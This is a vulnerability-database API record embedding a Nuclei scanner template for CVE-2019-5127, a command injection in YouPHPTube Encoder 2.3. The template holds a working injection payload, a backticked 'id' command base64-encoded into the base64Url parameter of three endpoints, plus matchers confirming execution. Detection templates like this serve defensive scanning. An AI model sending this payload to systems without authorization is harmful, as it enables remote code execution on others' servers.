{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-5127/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-5127/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-5127/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-5127/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-5127/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-5127"},"sightings":{"href":"/api/v1/sightings/cve-2019-5127"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-5127.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-5127\n\ninfo:\n  name: YouPHPTube Encoder 2.3 - Remote Command Injection\n  author: pikpikcu\n  severity: critical\n  description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.\n  remediation: |\n    Apply the latest patch or upgrade to a version that is not affected by this vulnerability.\n  reference:\n    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-5127\n    - https://github.com/ARPSyndicate/kenzer-templates\n    - https://github.com/Elsfa7-110/kenzer-templates\n    - https://github.com/sobinge/nuclei-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-5127\n    cwe-id: CWE-78\n    epss-score: 0.45302\n    epss-percentile: 0.98735\n    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*\n  metadata:\n    max-request: 4\n    vendor: youphptube\n    product: youphptube_encoder\n  tags: cve,cve2019,rce,youphptube,vkev,vuln\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n  encode: \"`id > {{filename}}.txt`\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png\"\n      - \"{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg\"\n      - \"{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg\"\n\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/objects/{{filename}}.txt\"\n\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=[0-9]+.*gid=[0-9]+.*\"\n\n      - type: word\n        part: header\n        words:\n          - text/plain\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402205c331233083c697ce7212fe283534084d11e0012fb965c445f3f06dbe5f71114022001e4804b4f37d3fa5fb45efee6c820c09bf407990581da869361e58d803bdc40:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-5127"}